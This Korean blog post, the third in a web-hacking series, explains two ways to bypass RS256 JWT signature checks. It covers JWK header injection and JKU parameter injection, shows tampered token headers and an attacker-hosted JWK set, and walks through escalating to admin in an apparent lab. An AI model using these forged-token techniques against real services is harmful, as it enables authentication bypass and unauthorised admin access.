2편에 이어서 RS256 서명 알고리즘 우회 기법
2022.07.14 - [웹] - [웹] JWT(JSON Web Token)에 대한 다양한 공격 기법 - 2 (Feat. Hashcat)
RS256은
RSA 암호화 + SHA256 을 합친 공개키기반의 비대칭 서명알고리즘이다. (HS256은 대칭키)
먼저 공격 원리는 RS256 알고리즘의 우회는 허용되지 않은 공개키가 삽입되었을 때 인증우회가 발생하게된다.
잘 만들어진 서버라면 화이트리스트로 허용하는 공개키의 목록이 나열되어있는데,
만약 허용된 목록이 없이 구성된 서버라면 우회가 가능하다.
RS256 알고리즘의 우회기법으로는 크게 2가지가 존재한다
JWK Header Injection
JKU Parameter Injection
2가지 기법 모두 헤더나 파라미터를 삽입함으로 써 우회하는 방식이다.
먼저 JWK 헤더 인젝션에 대해 살펴보면
JWK는 JSON Web Key 의 약자이며 토큰 내부에 자체적으로 공개키를 직접 포함해서 사용할 수 있는 키다.
아래 그림을 보면 RS256으로 서명된 JWT 검증으로 admin 페이지에 접근하지 못하고 있는 상황
Burp Extender의 Json Key Editor를 이용하여 새로운 RSA Key 하나를 생성해준다.
역시 Key Size는 자동으로 맞춰지기 때문에 굳이 선택할 필요없다.
이제 생성된 RSA 키를
JWT의 헤더 영역에 삽입한다
현재는 kid 헤더 alg 헤더 밖에 없지만
아까 생성한 RSA키를 삽입해주는 것이다.
인젝션 후 헤더에는 jwk 헤더를 포함한 생성된 RSA키와 관련된 값들이 삽입된다.
//-----------------------기존 값----------------------
{
"kid": "10f08775-6b36-4997-9d4b-4dbb39fcb895",
"alg": "RS256"
}
//-----------------------공격 후 값----------------------
{
"kid": "a6b37fff-eb61-49e4-872f-ac1f5158caf3",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "a6b37fff-eb61-49e4-872f-ac1f5158caf3",
"n": "s5MPfrF1ImOWhtcX6U2W6mMtGygz6Qll4EFhjMC7Znt6uVY_cufnr7XNyYzDt823tyauc2_dd07oSOGT1DV60O_rCu8_yV7Kl9gMeDTb5ah257Y8I6HTWhhEUFNiTcL9O0rvRILEjq0FlbKOqXK9mWrnm8fKtohkdRDJDiGy6YMWiiFC0QHDTaZqH2PGU8fdDLX26-2jBBPpOsp_ySamEN_OiQgoWUU0WAw_HMIi-IIZ4AU_819bgpc-2EfWwMz9dV6P7cA1MQ71u5LT4PQmoKCM5KaWPZL5kJsUBrrz9w_HvJfRQEQyiaJLiq01xrtSmtRZpmn2Wb5Z8wAY64rgEw"
}
}
jwk 헤더를 인젝션 해줌으로써 새로운RSA키를 가지고 새로운 서명을 만들어 내는 것이다.
이 헤더를 생성 후 다시 admin 권한으로 접근한 결과 정상적으로 접근이 되는 것을 볼 수 있다.
또 다른 공격 기법인 JKU 파라미터 인젝션 기법은 서버에 업로드 기능을 이용한다.
jwk 헤더를 삽입한 후 권한상승을 시도해봤지만 접근이 불가하다.
일단 RSA키를 생성 후
생성된 RSA 공개키를 JWK로 복사 한다.
그 값은 아래와 같이 복사가 된다.
{
"kty": "RSA",
"e": "AQAB",
"kid": "3cb344d1-da70-49b1-bd39-d323726aa627",
"n": "mf9JwRySY15n-caT8bGMv89a1VaGzEwclSKaeEFc7WM9k-gDpY5HsoNfIoYZHOZ7NGQMRdquZMKXd4wv8Da57ANSRmeaJbCuDv26D4eGgFrM5HFXYygISqKrCIXFOyIq9cvCoMddePPtEtD70yELCb3k_CqHOvQlNl_QJyNXIxAOh-kduHwz4QZTywQPMpWba1JkcK1HCoA_CemSQNLIS7OM1aFHAn7A3EA6UR6x2D58RixNrYOOeTMmCN6U3a8A5ZgKA-jSXZSny0CavR08ArdhtdEGm5HexMQREwSGDMdqGaOcrjAgeJE9wsdVDw5f5yiBYU7zPTvtGv4NN-NgOQ"
}
이 키를 서버에 아래와 같이 keys 로 묶어 JWK 세트를 만들어서 업로드를 한다.
그리고 최종적으로 JWK 세트가 업로드가 된 URL을 확보한다
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "3cb344d1-da70-49b1-bd39-d323726aa627",
"n": "mf9JwRySY15n-caT8bGMv89a1VaGzEwclSKaeEFc7WM9k-gDpY5HsoNfIoYZHOZ7NGQMRdquZMKXd4wv8Da57ANSRmeaJbCuDv26D4eGgFrM5HFXYygISqKrCIXFOyIq9cvCoMddePPtEtD70yELCb3k_CqHOvQlNl_QJyNXIxAOh-kduHwz4QZTywQPMpWba1JkcK1HCoA_CemSQNLIS7OM1aFHAn7A3EA6UR6x2D58RixNrYOOeTMmCN6U3a8A5ZgKA-jSXZSny0CavR08ArdhtdEGm5HexMQREwSGDMdqGaOcrjAgeJE9wsdVDw5f5yiBYU7zPTvtGv4NN-NgOQ"
}
]
}
헤더 영역에
jku 헤더를 직접 추가해주고
jwk 세트가 업로드된 URL을 삽입한다.
kid 헤더에는 아까 생성한 RSA 기반의 JWK의 kid 헤더값을 가져와서 넣음
이렇게 JWT 헤더 부분을 완성시킨 후 전송하게되면
JWT 토큰값이 이상하다고 판단된 서버는 다른 에러가 발생한다
이 때 아까 생성한 RSA키로 Signing 을 해주게되면
jku 파라미터에 업로드된 JWK 세트의 값과 새로운 RSA키로 서명된 JWT의 값을 비교하여 서버에서는 정상적인
JWT로 인식하게 된다.
jku 파라미터에 업로드한 JWK 세트의 값 역시
내가 만들어준 RSA키로 생성된 JWK기 때문에 동일한 값으로 판단하는 것이다.
똑같이 이제 admin으로 권한 상승 후 -> 서명 하면
관리자 권한으로 접근이 가능하게 되는 것이다.
초급/중급 정도의 JWT 기술은 여기서 끝
응용 기술로는 경로 우회 및 JWT 알고리즘 혼동
등의 우회방법이 추가적으로 더 있다.
'웹' 카테고리의 다른 글
[웹] SQL Injection을 이용한 다양한 공격 기법 (Feat. sqlmap) - 2 (0) | 2022.07.26 |
---|---|
[웹] SQL Injection을 이용한 다양한 공격 기법 (Feat. sqlmap) - 1 (0) | 2022.07.25 |
[웹] JWT(JSON Web Token)에 대한 다양한 공격 기법 - 2 (Feat. Hashcat) (0) | 2022.07.14 |
[웹] JWT(JSON Web Token)에 대한 다양한 공격 기법 - 1 (0) | 2022.07.14 |